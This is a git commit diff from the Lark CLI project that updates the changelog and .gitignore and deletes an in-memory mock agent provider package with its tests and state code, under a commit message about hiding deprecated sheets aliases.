test(sheets): cover undo shortcut edge cases

The refactored + commands have been the default for over a month. Hide the
deprecated pre-refactor aliases from `sheets --help` via a custom cobra
usage template that skips the deprecated group. Aliases stay registered
and executable: their own `sheets <alias> --help` still shows the
(→ +new-command) pointer, unknown-subcommand suggestions still span them,
and execution still returns the _notice.

.gitignore

@@ -52,8 +52,3 @@ cover*.out
 
 lark-env.sh
 /automations/
-
-# Local-only proof artifacts and coverage reports (never committed)
-coverage.html
-tests_e2e/
-tests_skill_eval/

CHANGELOG.md

@@ -2,6 +2,44 @@
 
 All notable changes to this project will be documented in this file.
 
+## [v1.0.64] - 2026-07-02
+
+### Features
+
+- **im**: Upgrade card send to Card 2.0 with full component reference (#1688)
+- **im**: Add `+chat-members-list` shortcut for member listing (#1398)
+- **okr**: Semi-plain text format with mention position preservation and `patch` shortcut (#1671)
+
+### Bug Fixes
+
+- **cli**: Point permission-apply link at official `/page/scope-apply` entry (#1722)
+- **cli**: Improve secure label error handling (#1707)
+- **cli**: Reduce public content token false positives
+- **cli**: Increase npm registry fetch timeout to 15s during update check (#1724)
+- **doc**: Align word statistics compound tokens (#1706)
+
+### Documentation
+
+- **approval**: Add detailed command-to-reference mapping for the approval skill (#1630)
+- **doc**: Support `reference_map` in docs (#1690)
+- **slides**: Refresh generation guidance — add constraints, drop template toolchain, and inline lint XML fixtures
+
+## [v1.0.62] - 2026-07-01
+
+### Features
+
+- **vc**: Add meeting message send shortcut (#1643)
+- **doc**: Add document word statistics helper (#1697)
+- **cli**: Interactive upgrade prompt for bare `lark-cli` invocation (#1498)
+- **install**: Fail closed when `checksums.txt` is missing during install (#1503)
+
+### Bug Fixes
+
+- **drive**: Improve batch failure handling for push/pull/sync (#1703)
+- **base**: Support JSON array input for field create (#1661)
+- **task**: Expose completion state in `my tasks` output (#1641)
+- **cli**: Reduce public content credential false positives (#1700)
+
 ## [v1.0.61] - 2026-06-30
 
 ### Features
@@ -1317,6 +1355,8 @@ Bundled AI agent skills for intelligent assistance:
 - Bilingual documentation (English & Chinese).
 - CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
 
+[v1.0.64]: https://github.com/larksuite/cli/releases/tag/v1.0.64
+[v1.0.62]: https://github.com/larksuite/cli/releases/tag/v1.0.62
 [v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
 [v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
 [v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59

agent/example/example.go

@@ -1,233 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package example is the in-repo agent provider onboarding template and offline
-// demo backend: a hypothetical example business domain whose data / calls are
-// entirely in-memory mocks, with zero network. It has three roles:
-//
-//  1. A copy-start point for new integrators — copy the package, rename the
-//     scheme, write plain hook funcs, add one line to agent/register.go. There is
-//     no Factory, no Deps, no probe, no Kind field.
-//  2. The command tree's offline demo backend — the full agent
-//     list/card/send/task/context chain runs for real without any platform config.
-//  3. A stable mock scheme for cmd-layer tests.
-//
-// The whole provider is a declarative agent.Provider value: metadata + a catalog
-// of agent.AgentSpec units. Each spec's capability set is exactly the hooks it
-// wires (the framework derives the card matrix from that), so echo (minimal) and
-// reporter (full) differ by DATA, not by a Factory branch.
-package example
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-)
-
-// Provider is the whole declaration. The Catalog set makes this a catalog-type
-// provider; the framework derives enumeration (agent list example), the
-// unknown-id error, and each agent's card matrix from this data.
-func Provider() agent.Provider {
-	return agent.Provider{
-		Scheme:        "example",
-		Label:         "Example 演示 agent（内存 mock，零网络）",
-		AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref（无需任何平台配置）",
-		Identities:    []agent.IdentitySpec{{Type: agent.IdentityUser}, {Type: agent.IdentityBot}},
-		// RequiredScopes nil: the mock calls no OAPI, so scope preflight always passes.
-		Catalog: []agent.AgentSpec{echoSpec, reporterSpec},
-	}
-}
-
-// echoSpec is the minimal set: it wires Send/GetTask plus the read verbs and
-// NOTHING else, so its card honestly shows task_cancel / artifact_download /
-// file_input = false. Capability IS exactly the wired hooks — there is no bool
-// matrix and no capability-refusal code (the command layer gates unwired hooks).
-var echoSpec = agent.AgentSpec{
-	ID:            "echo",
-	Name:          "复读机",
-	Description:   "把你发的话原样复读一遍（同一会话续发时带轮次，证明上下文记忆）。最小能力集示范。",
-	Send:          echoSend,
-	GetTask:       getTask,
-	ListTasks:     listTasks,
-	ListContexts:  listContexts,
-	GetContext:    getContext,
-	DeleteContext: deleteContext,
-}
-
-// reporterSpec is the full set: it additionally wires CancelTask +
-// DownloadArtifact and declares the FileInput/InputRequired behavioral flags. The
-// difference between the two agents is data you read top-to-bottom, not a branch
-// inside a Factory.
-var reporterSpec = agent.AgentSpec{
-	ID:               "reporter",
-	Name:             "报表生成器",
-	Description:      "对任意请求产出一份内联 CSV 报表 artifact，示范 artifact 下载与任务取消链路。",
-	FileInput:        true,
-	InputRequired:    true,
-	Send:             reporterSend,
-	GetTask:          getTask,
-	ListTasks:        listTasks,
-	ListContexts:     listContexts,
-	GetContext:       getContext,
-	DeleteContext:    deleteContext,
-	CancelTask:       cancelTask,
-	DownloadArtifact: downloadArtifact,
-}
-
-// ── Hooks: plain funcs. The addressed agent comes from rt.AgentID() (request
-//    data, replacing the old state.agentID). The mock ignores rt's network
-//    methods (CallAPI/CallMultipart/IsBot). There is NO catalog.Lookup guard
-//    anywhere — the framework's LookupSpec validated ref→spec offline before
-//    dispatch, so an unknown id never reaches a hook. ──
-
-// echoSend echoes the input; from round 2 on it appends a round marker to prove
-// across commands that context memory works.
-func echoSend(ctx context.Context, rt agent.Runtime, in agent.SendInput) (*agent.AgentTask, error) {
-	return newTurn(rt.AgentID(), in, func(round int) (string, []agent.Artifact) {
-		reply := in.Text
-		if round > 1 {
-			reply = fmt.Sprintf("%s（第 %d 轮）", in.Text, round)
-		}
-		return reply, nil
-	})
-}
-
-// reporterSend produces a fixed inline CSV artifact for any request.
-func reporterSend(ctx context.Context, rt agent.Runtime, in agent.SendInput) (*agent.AgentTask, error) {
-	return newTurn(rt.AgentID(), in, func(round int) (string, []agent.Artifact) {
-		reply := "报表已生成：quarterly_report.csv（见 artifacts，用 task get --artifact <id> -o <path> 下载）"
-		if n := len(in.Files); n > 0 {
-			reply = fmt.Sprintf("已收到 %d 个附件；%s", n, reply)
-		}
-		return reply, []agent.Artifact{{ID: newID("art"), Kind: "text"}}
-	})
-}
-
-// newTurn factors the shared store flow: start/continue a context, then create a
-// task whose body the caller builds per round. The mock task is instantly
-// terminal, so there is no "feed input to a running task" scenario — continuing
-// via --task-id returns failed_precondition (the request is valid but the target
-// state does not satisfy it, so the AI knows to start a new task instead).
-func newTurn(agentID string, in agent.SendInput, build func(round int) (reply string, artifacts []agent.Artifact)) (*agent.AgentTask, error) {
-	if in.TaskID != "" {
-		return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
-			"example 的任务发出即完成（终态），无法向已有任务续发").
-			WithParam("--task-id").
-			WithHint("去掉 --task-id，用 --context-id 在同一会话起新一轮任务")
-	}
-	ctxID := in.ContextID
-	if ctxID == "" {
-		var err error
-		ctxID, err = store.createContext(agentID, truncateTitle(in.Text))
-		if err != nil {
-			return nil, err
-		}
-	}
-	// createTask validates context ownership under the lock (an unknown /
-	// cross-agent context id is rejected inside with a typed error), computes the
-	// round, and inserts atomically.
-	task, err := store.createTask(agentID, ctxID, func(round int) agent.AgentTask {
-		reply, artifacts := build(round)
-		return agent.AgentTask{
-			TaskID:     newID("task"),
-			ContextID:  ctxID,
-			State:      agent.StateCompleted,
-			IsTerminal: true,
-			Messages: []agent.Message{
-				{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
-				{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
-			},
-			Artifacts: artifacts,
-		}
-	})
-	if err != nil {
-		return nil, err
-	}
-	return &task, nil
-}
-
-func getTask(ctx context.Context, rt agent.Runtime, taskID string) (*agent.AgentTask, error) {
-	task, err := store.getTask(rt.AgentID(), taskID)
-	if err != nil {
-		return nil, err
-	}
-	return &task, nil
-}
-
-func listTasks(ctx context.Context, rt agent.Runtime, contextID string) ([]agent.TaskSummary, error) {
-	return store.listTasks(rt.AgentID(), contextID), nil
-}
-
-func listContexts(ctx context.Context, rt agent.Runtime) ([]agent.ContextSummary, error) {
-	return store.listContexts(rt.AgentID()), nil
-}
-
-func getContext(ctx context.Context, rt agent.Runtime, ctxID string) (*agent.ContextDetail, error) {
-	return store.getContext(rt.AgentID(), ctxID)
-}
-
-func deleteContext(ctx context.Context, rt agent.Runtime, ctxID string) error {
-	return store.deleteContext(rt.AgentID(), ctxID)
-}
-
-// cancelTask is wired only for reporter, so echo never reaches it (the command
-// layer gates echo's cancel on the nil field). The mock task is completed the
-// moment it is sent, so canceling a terminal task returns a failed_precondition
-// typed error rather than pretending success.
-func cancelTask(ctx context.Context, rt agent.Runtime, taskID string) error {
-	task, err := store.getTask(rt.AgentID(), taskID)
-	if err != nil {
-		return err
-	}
-	if task.State.IsTerminal() {
-		return errs.NewValidationError(errs.SubtypeFailedPrecondition,
-			"任务 '%s' 已处于终态 %s，无法取消", taskID, task.State).
-			WithHint("终态任务不可取消；用 lark-cli agent task get example:%s %s 查看结果", rt.AgentID(), taskID)
-	}
-	return store.setTaskState(taskID, agent.StateCanceled)
-}
-
-// reportCSV is the fixed content of the reporter artifact (inline Bytes type).
-const reportCSV = "quarter,revenue,cost,margin\n" +
-	"2026Q1,1250,830,0.336\n" +
-	"2026Q2,1410,905,0.358\n"
-
-// downloadArtifact is wired only for reporter (echo is gated on the nil field).
-// It returns inline Bytes; a real provider would fill URL instead and let the
-// command layer SSRF-validate + fetch.
-//
-// Teaching point (suggested_name): ArtifactData.Name is the server-suggested
-// file name, echoed back only as a reference for choosing -o — it is untrusted
-// and never participates in constructing the local save path (the save path is
-// always -o/SafeOutputPath).
-func downloadArtifact(ctx context.Context, rt agent.Runtime, taskID, artifactID string) (*agent.ArtifactData, error) {
-	task, err := store.getTask(rt.AgentID(), taskID)
-	if err != nil {
-		return nil, err
-	}
-	for _, a := range task.Artifacts {
-		if a.ID == artifactID {
-			return &agent.ArtifactData{
-				Name:  "quarterly_report.csv",
-				Mime:  "text/csv",
-				Bytes: []byte(reportCSV),
-			}, nil
-		}
-	}
-	return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
-		WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", rt.AgentID(), taskID)
-}
-
-// truncateTitle takes the first few characters of the message as the context
-// title (truncated by rune to avoid cutting a character in half).
-func truncateTitle(s string) string {
-	const max = 20
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max]) + "…"
-}

agent/example/example_test.go

@@ -1,448 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package example
-
-import (
-	"context"
-	"encoding/json"
-	"path/filepath"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/agent/agenttest"
-)
-
-// Register the example provider for this test binary (provider packages are pure
-// data now — the top-level agent package's init does this in production, but that
-// package cannot be imported here without an import cycle).
-func init() { agent.Register(Provider()) }
-
-// fakeRuntime is the offline test runtime: it supplies the addressed agent_id
-// and no-ops the network methods (the mock hooks only ever read AgentID()).
-type fakeRuntime struct{ agentID string }
-
-func (r fakeRuntime) AgentID() string { return r.agentID }
-func (r fakeRuntime) IsBot() bool     { return false }
-func (r fakeRuntime) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
-	return nil, nil
-}
-func (r fakeRuntime) CallMultipart(context.Context, string, string, map[string]string, []agent.FilePart) (json.RawMessage, error) {
-	return nil, nil
-}
-
-// swapStore replaces the package-level store with an isolated instance pointing at
-// t.TempDir, so tests do not pollute each other or the local demo snapshot.
-func swapStore(t *testing.T) {
-	t.Helper()
-	old := store
-	store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
-	t.Cleanup(func() { store = old })
-}
-
-// TestConformance runs the shared conformance suite for both catalog entries.
-func TestConformance(t *testing.T) {
-	agenttest.RunConformance(t, "example", "echo")
-}
-
-func TestConformanceReporter(t *testing.T) {
-	agenttest.RunConformance(t, "example", "reporter")
-}
-
-// TestCapabilityMatrixDiverges pins the deliberate difference between the two
-// agents, derived purely from which hooks each spec wires.
-func TestCapabilityMatrixDiverges(t *testing.T) {
-	ec := agent.DeriveCapabilities(&echoSpec)
-	rc := agent.DeriveCapabilities(&reporterSpec)
-	if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
-		t.Errorf("echo should be the minimal set (no artifact/file/cancel), got %+v", ec)
-	}
-	if !ec.ContextList || !ec.ContextGet || !ec.ContextDelete || !ec.TaskGet || !ec.TaskList {
-		t.Errorf("echo should support context_list/get/delete + task_get/task_list, got %+v", ec)
-	}
-	if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.ContextList && rc.ContextGet && rc.ContextDelete && rc.TaskGet && rc.TaskList) {
-		t.Errorf("reporter should have everything enabled, got %+v", rc)
-	}
-}
-
-// TestEchoUnwiredCapabilities verifies the new model: echo simply leaves
-// CancelTask / DownloadArtifact unwired and FileInput false — no refusal code.
-func TestEchoUnwiredCapabilities(t *testing.T) {
-	if echoSpec.CancelTask != nil {
-		t.Error("echo should not wire CancelTask (task_cancel=false)")
-	}
-	if echoSpec.DownloadArtifact != nil {
-		t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
-	}
-	if echoSpec.FileInput {
-		t.Error("echo should not accept file input (file_input=false)")
-	}
-}
-
-// TestEchoMultiTurn verifies multi-turn context memory across the read verbs.
-func TestEchoMultiTurn(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"echo"}
-	ctx := context.Background()
-
-	t1, err := echoSend(ctx, rt, agent.SendInput{Text: "hello"})
-	if err != nil {
-		t.Fatalf("first-turn send: %v", err)
-	}
-	if t1.State != agent.StateCompleted || t1.ContextID == "" || t1.TaskID == "" {
-		t.Fatalf("first turn should be completed with context_id/task_id: %+v", t1)
-	}
-	if got := agentReply(t, t1); got != "hello" {
-		t.Fatalf("first-turn echo should be the original text, got %q", got)
-	}
-
-	t2, err := echoSend(ctx, rt, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
-	if err != nil {
-		t.Fatalf("follow-up send: %v", err)
-	}
-	if t2.ContextID != t1.ContextID {
-		t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
-	}
-	if got := agentReply(t, t2); got != "再来（第 2 轮）" {
-		t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
-	}
-
-	got, err := getTask(ctx, rt, t2.TaskID)
-	if err != nil {
-		t.Fatalf("getTask: %v", err)
-	}
-	if agentReply(t, got) != "再来（第 2 轮）" {
-		t.Fatalf("getTask should replay the stored messages, got %+v", got.Messages)
-	}
-	tasks, err := listTasks(ctx, rt, t1.ContextID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(tasks) != 2 {
-		t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
-	}
-	// Every summary carries the enriched fields: a status timestamp and the
-	// one-line digest (the last agent message). listTasks returns creation order,
-	// so tasks[0] is the first turn and tasks[1] the second.
-	for _, ts := range tasks {
-		if ts.UpdatedAt == "" {
-			t.Errorf("task summary should carry updated_at: %+v", ts)
-		}
-	}
-	if tasks[0].Summary != "hello" {
-		t.Errorf("first task summary should be the last agent message %q, got %q", "hello", tasks[0].Summary)
-	}
-	if tasks[1].Summary != "再来（第 2 轮）" {
-		t.Errorf("second task summary should carry the round marker, got %q", tasks[1].Summary)
-	}
-	ctxs, err := listContexts(ctx, rt)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
-		t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
-	}
-	if ctxs[0].TaskCount != 2 || ctxs[0].AwaitingInput {
-		t.Errorf("context summary should roll up task_count=2, awaiting_input=false, got %+v", ctxs[0])
-	}
-	if ctxs[0].UpdatedAt == "" {
-		t.Error("context summary should carry updated_at")
-	}
-
-	// context get NO LONGER returns a full tasks[]: it is metadata + rollup + the
-	// single most-recent active_task (t2, the latest by updated_at).
-	detail, err := getContext(ctx, rt, t1.ContextID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if detail.TaskCount != 2 {
-		t.Fatalf("context detail should report task_count=2, got %+v", detail)
-	}
-	if detail.AwaitingInput {
-		t.Errorf("both tasks are completed, awaiting_input should be false: %+v", detail)
-	}
-	if detail.ActiveTask == nil || detail.ActiveTask.TaskID != t2.TaskID {
-		t.Fatalf("active_task should be the most recent task (t2 %s), got %+v", t2.TaskID, detail.ActiveTask)
-	}
-	if detail.ActiveTask.Summary != "再来（第 2 轮）" {
-		t.Errorf("active_task.summary should be the last agent message, got %q", detail.ActiveTask.Summary)
-	}
-	if detail.ActiveTask.UpdatedAt == "" {
-		t.Error("active_task.updated_at should be populated")
-	}
-}
-
-// TestCrossAgentIsolation pins the load-bearing per-agent isolation guard: echo
-// and reporter share one package-global store, so a task/context created under
-// one agent MUST be invisible to the other agent's runtime (get/delete return a
-// not-found error; list returns nothing). Without this guard
-// `agent task get example:reporter <echo-task-id>` would leak echo's data.
-func TestCrossAgentIsolation(t *testing.T) {
-	swapStore(t)
-	ctx := context.Background()
-	echo := fakeRuntime{"echo"}
-	reporter := fakeRuntime{"reporter"}
-
-	t1, err := echoSend(ctx, echo, agent.SendInput{Text: "secret"})
-	if err != nil {
-		t.Fatalf("echo send: %v", err)
-	}
-
-	// reporter must not read/delete echo's task or context.
-	if _, err := getTask(ctx, reporter, t1.TaskID); err == nil {
-		t.Error("reporter must not read echo's task (cross-agent leak)")
-	}
-	if _, err := getContext(ctx, reporter, t1.ContextID); err == nil {
-		t.Error("reporter must not read echo's context (cross-agent leak)")
-	}
-	if err := deleteContext(ctx, reporter, t1.ContextID); err == nil {
-		t.Error("reporter must not delete echo's context (cross-agent leak)")
-	}
-	if tasks, _ := listTasks(ctx, reporter, ""); len(tasks) != 0 {
-		t.Errorf("reporter should see no echo tasks, got %d", len(tasks))
-	}
-	if ctxs, _ := listContexts(ctx, reporter); len(ctxs) != 0 {
-		t.Errorf("reporter should see no echo contexts, got %d", len(ctxs))
-	}
-
-	// echo still sees its own data, and its context survived reporter's delete.
-	if _, err := getTask(ctx, echo, t1.TaskID); err != nil {
-		t.Errorf("echo must still read its own task: %v", err)
-	}
-	if _, err := getContext(ctx, echo, t1.ContextID); err != nil {
-		t.Errorf("echo's context must survive a cross-agent delete attempt: %v", err)
-	}
-}
-
-// TestStateSurvivesReload pins the cross-process semantics via the shared snapshot.
-func TestStateSurvivesReload(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"echo"}
-	task, err := echoSend(context.Background(), rt, agent.SendInput{Text: "persist"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	store = newMemoryStore(store.path) // a new process view; only the snapshot file is shared
-	got, err := getTask(context.Background(), rt, task.TaskID)
-	if err != nil {
-		t.Fatalf("getTask after reload: %v", err)
-	}
-	if got.ContextID != task.ContextID {
-		t.Fatalf("task should replay fully after reload: %+v", got)
-	}
-}
-
-// TestReporterArtifactFlow verifies the full artifact chain.
-func TestReporterArtifactFlow(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"reporter"}
-	ctx := context.Background()
-
-	task, err := reporterSend(ctx, rt, agent.SendInput{Text: "本季度报表"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(task.Artifacts) != 1 {
-		t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
-	}
-	art := task.Artifacts[0]
-	if art.ID == "" || art.Kind != "text" {
-		t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
-	}
-
-	data, err := downloadArtifact(ctx, rt, task.TaskID, art.ID)
-	if err != nil {
-		t.Fatalf("downloadArtifact: %v", err)
-	}
-	if data.Name != "quarterly_report.csv" || data.Mime != "text/csv" {
-		t.Errorf("suggested_name/mime wrong: %+v", data)
-	}
-	if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
-		t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
-	}
-
-	if _, err := downloadArtifact(ctx, rt, task.TaskID, "art_nope"); err == nil {
-		t.Fatal("unknown artifact id should return an error")
-	} else if _, ok := errs.ProblemOf(err); !ok {
-		t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
-	}
-}
-
-// TestReporterCancelTerminal verifies reporter's cancel returns failed_precondition
-// for a terminal task (the mock task is completed the moment it is sent).
-func TestReporterCancelTerminal(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"reporter"}
-	ctx := context.Background()
-	task, err := reporterSend(ctx, rt, agent.SendInput{Text: "报表"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	err = cancelTask(ctx, rt, task.TaskID)
-	if err == nil {
-		t.Fatal("canceling a terminal task should return an error")
-	}
-	prob, ok := errs.ProblemOf(err)
-	if !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
-		t.Fatalf("terminal cancel should be failed_precondition, got %v", err)
-	}
-}
-
-// TestUnknownCatalogID verifies an unknown catalog id is a typed error from the
-// framework's LookupSpec (with a hint pointing to agent list example).
-func TestUnknownCatalogID(t *testing.T) {
-	_, _, _, err := agent.LookupSpec("example:nonexistent")
-	if err == nil {
-		t.Fatal("an unknown catalog id should return an error")
-	}
-	prob, ok := errs.ProblemOf(err)
-	if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
-	}
-}
-
-// TestSendGuards pins send's two typed rejections: --task-id follow-up and an
-// unknown context id.
-func TestSendGuards(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"echo"}
-	ctx := context.Background()
-
-	_, err := echoSend(ctx, rt, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
-	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
-		t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
-	}
-
-	_, err = echoSend(ctx, rt, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
-	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("unknown context id should be invalid_argument, got %v", err)
-	}
-}
-
-// TestDeleteContext verifies deleting a context also cleans up its tasks.
-func TestDeleteContext(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"echo"}
-	ctx := context.Background()
-	task, err := echoSend(ctx, rt, agent.SendInput{Text: "bye"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if err := deleteContext(ctx, rt, task.ContextID); err != nil {
-		t.Fatal(err)
-	}
-	if _, err := getTask(ctx, rt, task.TaskID); err == nil {
-		t.Fatal("after deleting the context its tasks should be unqueryable")
-	}
-	ctxs, err := listContexts(ctx, rt)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 0 {
-		t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
-	}
-}
-
-// TestContextRollupPicksLatestUpdated pins the enriched-summary rollup rule: the
-// active_task is the task with the LATEST updated_at (not the last created), the
-// rollup counts tasks and flags awaiting_input, and an input_required active
-// task's summary is its pending prompt. It seeds the store directly with
-// out-of-creation-order timestamps so "latest updated_at wins" is tested
-// independently of insertion order.
-func TestContextRollupPicksLatestUpdated(t *testing.T) {
-	swapStore(t)
-	store.loaded = true // seed in-memory directly; skip the (missing) snapshot load
-	store.Contexts["ctx_1"] = &contextRecord{
-		AgentID: "echo", ContextID: "ctx_1", CreatedAt: "2026-07-01T00:00:00Z",
-		Seq: 1, TaskIDs: []string{"t_a", "t_b", "t_c"},
-	}
-	store.Tasks["t_a"] = &taskRecord{AgentID: "echo", Seq: 2, Task: agent.AgentTask{
-		TaskID: "t_a", ContextID: "ctx_1", State: agent.StateCompleted, IsTerminal: true,
-		UpdatedAt: "2026-07-03T00:00:00Z", Messages: agentMessage("A 完成"),
-	}}
-	// t_b has the LATEST updated_at yet is created before t_c, and is input_required.
-	store.Tasks["t_b"] = &taskRecord{AgentID: "echo", Seq: 3, Task: agent.AgentTask{
-		TaskID: "t_b", ContextID: "ctx_1", State: agent.StateInputRequired,
-		UpdatedAt: "2026-07-05T00:00:00Z", InputRequired: &agent.InputRequired{Prompt: "按大区还是品类拆?"},
-	}}
-	store.Tasks["t_c"] = &taskRecord{AgentID: "echo", Seq: 4, Task: agent.AgentTask{
-		TaskID: "t_c", ContextID: "ctx_1", State: agent.StateCompleted, IsTerminal: true,
-		UpdatedAt: "2026-07-04T00:00:00Z", Messages: agentMessage("C 完成"),
-	}}
-
-	rt := fakeRuntime{"echo"}
-	detail, err := getContext(context.Background(), rt, "ctx_1")
-	if err != nil {
-		t.Fatal(err)
-	}
-	if detail.TaskCount != 3 {
-		t.Errorf("task_count should be 3, got %d", detail.TaskCount)
-	}
-	if !detail.AwaitingInput {
-		t.Error("awaiting_input should be true (t_b is input_required)")
-	}
-	if detail.ActiveTask == nil || detail.ActiveTask.TaskID != "t_b" {
-		t.Fatalf("active_task should be t_b (latest updated_at), not the last-created task, got %+v", detail.ActiveTask)
-	}
-	if detail.ActiveTask.Summary != "按大区还是品类拆?" {
-		t.Errorf("an input_required active task's summary should be its pending prompt, got %q", detail.ActiveTask.Summary)
-	}
-	if detail.UpdatedAt != "2026-07-05T00:00:00Z" {
-		t.Errorf("context updated_at should roll up to the latest task, got %q", detail.UpdatedAt)
-	}
-
-	// context list carries the same rollup.
-	ctxs, err := listContexts(context.Background(), rt)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 1 {
-		t.Fatalf("expected 1 context, got %d", len(ctxs))
-	}
-	if ctxs[0].UpdatedAt != "2026-07-05T00:00:00Z" || ctxs[0].TaskCount != 3 || !ctxs[0].AwaitingInput {
-		t.Errorf("context summary rollup wrong: %+v", ctxs[0])
-	}
-}
-
-// TestTaskSummaryText pins the digest rule: rune-safe truncation to ~100 runes,
-// and that an input_required task prefers its pending prompt over the last agent
-// message.
-func TestTaskSummaryText(t *testing.T) {
-	long := strings.Repeat("字", 250)
-	got := taskSummaryText(agent.AgentTask{Messages: agentMessage(long)})
-	if n := len([]rune(got)); n != summaryMaxRunes {
-		t.Errorf("summary should be rune-truncated to %d runes, got %d", summaryMaxRunes, n)
-	}
-	prompt := taskSummaryText(agent.AgentTask{
-		State:         agent.StateInputRequired,
-		InputRequired: &agent.InputRequired{Prompt: "补充预算区间?"},
-		Messages:      agentMessage("忽略我"),
-	})
-	if prompt != "补充预算区间?" {
-		t.Errorf("input_required summary should be the pending prompt, got %q", prompt)
-	}
-}
-
-// agentMessage builds a single agent-role text message for seeding task fixtures.
-func agentMessage(text string) []agent.Message {
-	return []agent.Message{{Role: "agent", Parts: []agent.Part{{Type: "text", Text: text}}}}
-}
-
-// agentReply returns the first text reply from the agent role in the task.
-func agentReply(t *testing.T, task *agent.AgentTask) string {
-	t.Helper()
-	for _, m := range task.Messages {
-		if m.Role != "agent" {
-			continue
-		}
-		for _, part := range m.Parts {
-			if part.Type == "text" {
-				return part.Text
-			}
-		}
-	}
-	t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
-	return ""
-}

agent/example/state.go

@@ -1,418 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package example
-
-import (
-	"crypto/rand"
-	"encoding/hex"
-	"encoding/json"
-	"os"
-	"path/filepath"
-	"sort"
-	"sync"
-	"time"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// ============================================================================
-// In-memory state machine (teaching focus: concurrency safety of package-level
-// state + the CLI process boundary)
-//
-// A real provider's context/task state lives on the server, so the adapter is
-// naturally stateless; example is a pure mock and must manage state itself. Two
-// disciplines the integrator needs to know:
-//
-//  1. Concurrency safety: package-level mutable state must be locked. A single
-//     coarse-grained Mutex covers all reads and writes here — the mock does not
-//     chase throughput; correctness comes first.
-//  2. CLI process boundary: every lark-cli command is a fresh process, so a pure
-//     in-memory map does not survive a single command — after `send`, a
-//     `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
-//     the in-memory map (under os.TempDir, last-writer-wins) to make the offline
-//     demo chain work across commands. A real provider neither needs nor should
-//     have this layer — it is a mock-only demo device.
-//
-// Note that the snapshot is loaded lazily (only on the first real read/write of
-// state): provider registration is a pure declarative Register(Provider) call
-// (see agent/register.go) with no construction and no side effects, so nothing
-// touches store at registration time — the snapshot is read on the first hook
-// invocation, not at init.
-// ============================================================================
-
-// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
-// + creation sequence number (list output sorts by creation order to guarantee
-// stable enumeration).
-type taskRecord struct {
-	AgentID string          `json:"agent_id"`
-	Seq     int             `json:"seq"`
-	Task    agent.AgentTask `json:"task"`
-}
-
-// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
-// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
-// demonstrate "context memory".
-type contextRecord struct {
-	AgentID   string   `json:"agent_id"`
-	ContextID string   `json:"context_id"`
-	CreatedAt string   `json:"created_at"`
-	Title     string   `json:"title,omitempty"`
